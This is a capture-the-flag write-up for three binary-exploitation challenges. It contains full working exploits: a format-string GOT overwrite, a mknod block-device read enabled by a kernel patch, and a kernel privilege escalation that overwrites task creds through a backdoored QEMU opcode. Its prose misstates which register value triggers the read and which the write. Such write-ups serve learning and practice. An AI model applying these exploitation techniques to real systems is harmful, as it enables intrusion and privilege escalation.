TECHOMFEST Quals
kenari
Binary Exploitation
116 pts
21
ezfs
Binary Exploitation
504 pts
5
ezpu
Binary Exploitation
1000 pts
1
kenari
Description
Author: bakwanmalank
mirip warmup kemarin cuma nambah burung kenari
(maaf ada sedikit kesalahan teknis😔)
connect: nc ctf.ukmpcc.org 11001
Analysis
we're given a single elf binary named kenari
with protection as follows
└──╼ [★]$ pwn checksec kenari
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
the program itself is very small, only consisting of the following functions
void vuln(void)
{
long in_FS_OFFSET;
char input [72];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
printf("username: ");
gets(input);
printf(input);
putchar(10);
printf("password: ");
gets(input);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void hitme(void)
{
FILE *__stream;
long in_FS_OFFSET;
char local_58 [72];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
puts("File flag.txt tidak ditemukan");
/* WARNING: Subroutine does not return */
exit(1);
}
fgets(local_58,0x40,__stream);
printf("Flag: %s\n",local_58);
fclose(__stream);
/* WARNING: Subroutine does not return */
exit(0);
}
Exploitation
because the GOT is writeable, its possible to just overwrite the GOT with the win function with a single format string payload
here's the exploit being ran againts the remote server

here's the full exploit script:
#!/usr/bin/env python3
from pwn import *
# =========================================================
# SETUP
# =========================================================
exe = './kenari'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'ctf.ukmpcc.org', 11001
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port)
else:
return process([exe] + argv)
gdbscript = '''
init-pwndbg
'''.format(**locals())
# =========================================================
# EXPLOITS
# =========================================================
def exploit():
global io
io = initialize()
payload = fmtstr_payload(6, {elf.got['putchar']: elf.sym['hitme']})
io.sendlineafter(b':', payload)
io.interactive()
if __name__ == '__main__':
exploit()
Flag: TCF{m4nuk_kenari_cit_cit_cuiiiiittt_!!}
ezfs
Description
Author: rui
this might be the dumbest pwn that i've ever made
connect: nc ctf.ukmpcc.org 10002
Analysis
we're given the following files as attachments
└──╼ [★]$ tree dist
dist
├── alomani.patch
├── bzImage
├── flag.txt
├── rootfs.cpio.gz
└── run.sh
here's the content of the patch file
diff --git a/fs/namei.c b/fs/namei.c
index 4a4a22a08..bb1459989 100644
--- a/fs/namei.c
+++ b/fs/namei.c
@@ -4110,15 +4110,15 @@ EXPORT_SYMBOL(user_path_create);
int vfs_mknod(struct mnt_idmap *idmap, struct inode *dir,
struct dentry *dentry, umode_t mode, dev_t dev)
{
- bool is_whiteout = S_ISCHR(mode) && dev == WHITEOUT_DEV;
+ //bool is_whiteout = S_ISCHR(mode) && dev == WHITEOUT_DEV;
int error = may_create(idmap, dir, dentry);
if (error)
return error;
- if ((S_ISCHR(mode) || S_ISBLK(mode)) && !is_whiteout &&
- !capable(CAP_MKNOD))
- return -EPERM;
+ //if ((S_ISCHR(mode) || S_ISBLK(mode)) && !is_whiteout &&
+ // !capable(CAP_MKNOD))
+ // return -EPERM;
if (!dir->i_op->mknod)
return -EPERM;
we can get the summary of the patched function from this documentation
and more detail of the implementation from the source code
in summary, the patch removes the security checks upon creating new files, nodes, block devices etc
another relevant information is that the flag is not stored within the filesystem as can be seen from the qemu launch script
#!/bin/bash
cd $(dirname $0)
exec timeout --foreground 30 qemu-system-x86_64 \
-m 64M \
-cpu qemu64,+smep,+smap \
-nographic \
-monitor none \
-kernel bzImage \
-initrd rootfs.cpio.gz \
-no-reboot \
-drive file=flag.txt,format=raw \
-append "console=ttyS0 quiet kaslr panic=1 kpti=1 oops=panic" \
-net user -net nic -device e1000
to further understand about how the flag is loaded/mounted (not sure what the correct word is), we can read the documentation:
-drive option[,option[,option[,...]]]
Define a new drive. This includes creating a block driver node (the backend) as well as a guest device, and is mostly a shortcut for defining the corresponding
-blockdev
and-device
options.
-drive
accepts all options that are accepted by-blockdev
. In addition, it knows the following options:[... SNIP]
format=format
Specify which disk format will be used rather than detecting the format. Can be used to specify format=raw to avoid interpreting an untrusted format header.
this means the flag is loaded as a simple, byte-for-byte representation of the disk's data. Since flag.txt
is specified with format=raw
, QEMU treats the file as a raw block device, allowing the guest kernel to access it as if it were a physical drive.
Exploitation
I'm not an expert in kernel shenanigans (hopefully yet), so I'll hunt for the low hanging fruit by asking chatGPT

and surprisingly it works, here's the exploit being ran againts the remote server

here's the full exploit script:
mknod /tmp/mydevice b 8 0
cat /tmp/mydevice
Flag: TCF{what_kind_of_pwn_is_this???}
ezpu
Description
Author: rui
new cpu instruction??? nah man its just backdoor
connect: nc ctf.ukmpcc.org 10001
Analysis
we're given the following files as attachment:
└──╼ [★]$ tree .
.
├── anomali.patch
├── bios
│ ├── bios-256k.bin
│ ├── efi-e1000.rom
│ ├── kvmvapic.bin
│ ├── linuxboot_dma.bin
│ └── vgabios-stdvga.bin
├── bzImage
├── qemu-system-x86_64
├── rootfs.cpio.gz
└── run.sh
here's the content of the patch file
diff --git a/target/i386/tcg/translate.c b/target/i386/tcg/translate.c
index 76a42c679..122947a3e 100644
--- a/target/i386/tcg/translate.c
+++ b/target/i386/tcg/translate.c
@@ -397,6 +397,19 @@ static void gen_update_cc_op(DisasContext *s)
* [AH, CH, DH, BH], ie "bits 15..8 of register N-4". Return
* true for this special case, false otherwise.
*/
+static void __attribute__ ((noinline)) some_function(DisasContext *s){
+ TCGLabel *read_cpu = gen_new_label();
+ tcg_gen_movi_tl(s->A0, 0xdeadbeeffeebdaed);
+ tcg_gen_brcond_tl(9, s->A0, cpu_regs[R_R11], read_cpu);
+ tcg_gen_qemu_ld_i64(cpu_regs[R_R12], cpu_regs[R_R13], REG_L_OFFSET, MO_LEUQ);
+ gen_set_label(read_cpu);
+ TCGLabel *write_cpu = gen_new_label();
+ tcg_gen_movi_tl(s->A0, 0x6969696969696969);
+ tcg_gen_brcond_tl(9, s->A0, cpu_regs[R_R11], write_cpu);
+ tcg_gen_qemu_st_i64(cpu_regs[R_R12], cpu_regs[R_R13], REG_W_OFFSET, MO_LEUQ);
+ gen_set_label(write_cpu);
+}
+
static inline bool byte_reg_is_xH(DisasContext *s, int reg)
{
/* Any time the REX prefix is present, byte registers are uniform */
@@ -5512,8 +5525,10 @@ static bool disas_insn(DisasContext *s, CPUState *cpu)
set_cc_op(s, CC_OP_EFLAGS);
break;
case 0x3f: /* aas */
- if (CODE64(s))
- goto illegal_op;
+ if (CODE64(s)){
+ some_function(s);
+ break;
+ }
gen_update_cc_op(s);
gen_helper_aas(tcg_env);
set_cc_op(s, CC_OP_EFLAGS);
the well_its_a_backdoor
function introduces a custom behavior in QEMU that manipulates the emulated CPU's state based on specific conditions. the patched behavior will trigger when any guest code executes the 0x3f
opcode in 64-bit mode (CODE64
)
depends on the value of R11
when the instruction is executed, different branching is taken:
R11 == 0x6969696969696969
executes a memory read operation:
Source:
R_R13
Destination:
R_R12
Access Mode:
MO_LEUQ
indicates a 64-bit load in little-endian format
R11 == 0xdeadbeeffeebdaed
executes a memory write operation:
Source:
R_R12
Destination:
R_R13
Access Mode:
MO_LEUQ
indicates a 64-bit store in little-endian format
this essentially means we have whole memory access to write and read, a powerful primitive.
next this is the launch script
#!/bin/bash
cd $(dirname $0)
exec timeout --foreground 300 ./qemu-system-x86_64 \
-L bios \
-m 64M \
-cpu qemu64,+smep,+smap \
-nographic \
-monitor none \
-kernel bzImage \
-initrd rootfs.cpio.gz \
-no-reboot \
-append "console=ttyS0 quiet kaslr panic=1 kpti=1 oops=panic" \
-net user -net nic -device e1000 \
Exploitation
Defeating KASLR
though we have full access to the kernel address, it would be deemed useless if we don't know any addresses due to the fact that KASLR is enabled.
however KASLR doesn't apply everywhere, quote:
KASLR is nice, but doesn’t apply everywhere. You can manipulate either the IDT (before the
cpu_entry_area
at0xfffffe0000000000
) or LDT (after [modify_ldt
]() at0xffff880000000000
), which are mapped read-only at fixed addresses.
cpu_entry_area
specifically will contain addresses to kernel's .text

Privilege Escalation
I initially tried to overwrite modprobe but it fails, as the author would confirm that modprobe is indeed disabled

so we're left with data only privilege escalation. one technique is to overwrite the current
of type task_struct
's creds to be init_cred
(root).
this technique would be significantly harder/unreliable to do if the RANDOMIZE_LAYOUT
config is enabled, which seems not to be the case here.
essentially, the kernel stores a global variable init_task
of type task_struct
which is the starting task that initializes the booting process.
within it, exist the init_cred
of the initiating task (which have root privileges) and the next
field which forms a linked list upon other creds that will be spawned during the system's lifetime.
we can obtain the those global variable addresses by reading /proc/kallsyms

there's also the comm
field, which the name of the running process that the task's own. we can set this value by calling the prctl
syscall as follows:
if (prctl(PR_SET_NAME, "PROCESS_NAME_HERE", 0, 0, 0) != 0) {
panic("prctl");
}
as we have arbitrary read, we will use this as our egg to hunt. as we traverse the list to find our current
task, we will compare the value of the comm
field of each traversed task to determine if the task belongs to the current process.
next, the tricky part is to find the offset to next
as it will be different across systems (depending on the configurations and versions).
I note two ways of doing this
GDB observation and assumptions
this method will be less reliable compared to the latter but worth to note nonetheless. the idea came from kylebot (amazing pwner) that they shared in pwn.college's discord

first, we'll leak the init_task
and use the tele
command within gdb to inspect its structure
tele &init_task 400

as can be seen, we observed two fields at offset 0x478 and 0x480 that have endless lists of pointers, one of these is the next
pointer as hinted by kyle as
(they should be so long that gef does not know they are loops)

at this time, we could also examine the result of the telescope and look for the string swapper
. this will be our offset to comm
which is 0x730 in this case
for_each_process
macro
this method in my opinion is more reliable and would be my go to for future occasions. the idea came from the writeup below
if we want to search for the offset of the
tasks
field inside thetask_struct
(which is the pointer to the next task), we can search for references toinit_task.tasks
and end up looking at the macrofor_each_process
which is called byclear_tasks_mm_cpumask
. The latter calls the first, which references the needed field
I suggest you to read it as it explained it better than I could do, but in essence this what would you need to do
first disassmble clear_tasks_mm_cpumask
/ # cat /proc/kallsyms | grep clear_tasks_mm_cpumask
ffffffffa128ccc0 T __pfx_clear_tasks_mm_cpumask
ffffffffa128ccd0 T clear_tasks_mm_cpumask
pwndbg> x/20i 0xffffffffa128ccd0
0xffffffffa128ccd0: nop WORD PTR [rax]
0xffffffffa128ccd4: push rbp
0xffffffffa128ccd5: mov ebp,edi
0xffffffffa128ccd7: push rbx
0xffffffffa128ccd8: bt QWORD PTR [rip+0x1c309e8],rbp # 0xffffffffa2ebd6c8
0xffffffffa128cce0: jb 0xffffffffa128cd43
0xffffffffa128cce2: call 0xffffffffa131e8f0
0xffffffffa128cce7: mov rax,QWORD PTR [rip+0x19800ca] # 0xffffffffa2c0cdb8
0xffffffffa128ccee: lea rbx,[rax-0x478]
0xffffffffa128ccf5: cmp rax,0xffffffffa2c0cdb8 # <-- [1]
0xffffffffa128ccfb: je 0xffffffffa128cd3c
0xffffffffa128ccfd: mov rdi,rbx
0xffffffffa128cd00: call 0xffffffffa1407b80
0xffffffffa128cd05: test rax,rax
0xffffffffa128cd08: je 0xffffffffa128cd26
0xffffffffa128cd0a: mov rcx,QWORD PTR [rax+0x4c8]
0xffffffffa128cd11: ds btr QWORD PTR [rcx+0x500],rbp
0xffffffffa128cd1a: lea rdi,[rax+0x830]
0xffffffffa128cd21: call 0xffffffffa2145630
0xffffffffa128cd26: mov rax,QWORD PTR [rbx+0x478]
look for the instruction which compares rax to some kernel address [1]
, the compare is actually made between the init_task
and its next task. in other words the address of the next of init_task
.
this way we can get the offset by subtracting &init_task
to the compared value
pwndbg> p/x 0xffffffffa2c0cdb8 - 0xffffffffa2c0c940
$2 = 0x478
which is the same offset we got from the previous method.
Creds offset
examining the task_struct
structure definition, it can be seen that the two cred that we need to overwrite (*cred
and *real_cred
) is very close to comm
.

so we'll just have to look for adjacent pointers somewhere close to it, and telescope
it to verify that it contains 0x3e8 (UID 1000) for user ctf
. in this case, the offset to both cred are 0x718 and 0x720 respectively


finally, last step is to overwrite both of it with init_cred
to elevate our privilege to root and spawn a shell.
here's the exploit being ran againts the remote server

here's the full exploit script:
#include "libpwn.c"
#define cpu_entry_area 0xfffffe0000000000
#define TASK_LIST_OFFSET 0x478
#define COMM_OFFSET 0x730
long arb_read(u64 where) {
__asm__(
".intel_syntax noprefix;"
"mov r11, 0xdeadbeeffeebdaed;"
"mov r13, %[address];"
".byte 0x3f;"
"mov rax, r12;"
".att_syntax;"
:
: [address] "r" (where)
);
}
void arb_write(u64 where, u64 what) {
__asm__(
".intel_syntax noprefix;"
"mov r11, 0x6969696969696969;"
"mov r13, %[address];"
"mov r12, %[value];"
".byte 0x3f;" // aas
".att_syntax"
:
: [address] "r" (where), [value] "r" (what)
);
}
int main() {
char comm[16] = {};
if (prctl(PR_SET_NAME, "ARGONAUT", 0, 0, 0) != 0) {
panic("prctl");
}
kbase = arb_read(cpu_entry_area+0x4)-0x1008e00;
u64 init_task = kbase + 0x1a0c940;
u64 init_cred = kbase + 0x1a529e0;
info2("kbase", kbase);
info2("init_task", init_task);
info2("init_cred", init_cred);
u64 comm_num = arb_read(init_task+COMM_OFFSET);
memcpy(comm, &comm_num, sizeof(comm_num));
puts(comm);
u64 current = arb_read(init_task+TASK_LIST_OFFSET)-TASK_LIST_OFFSET;
int i = 0;
while(current != 0x0) {
comm_num = arb_read(current+COMM_OFFSET);
memcpy(comm, &comm_num, sizeof(comm_num));
printf("[*] task[%d] [%s]: 0x%lx\n", i, comm, current);
if (strcmp(comm, "ARGONAUT") == 0) {
_pause_("Found ARGONAUT task");
break;
}
current = arb_read(current+TASK_LIST_OFFSET)-TASK_LIST_OFFSET;
i++;
}
arb_write(current+0x718, init_cred);
arb_write(current+0x720, init_cred);
spawn_shell();
_pause_("end of exploit...");
}
Flag: TCF{siapa_sangka_cuma_modal.byte_0x3f_bisa_dapet_AAR_AAW}
Last updated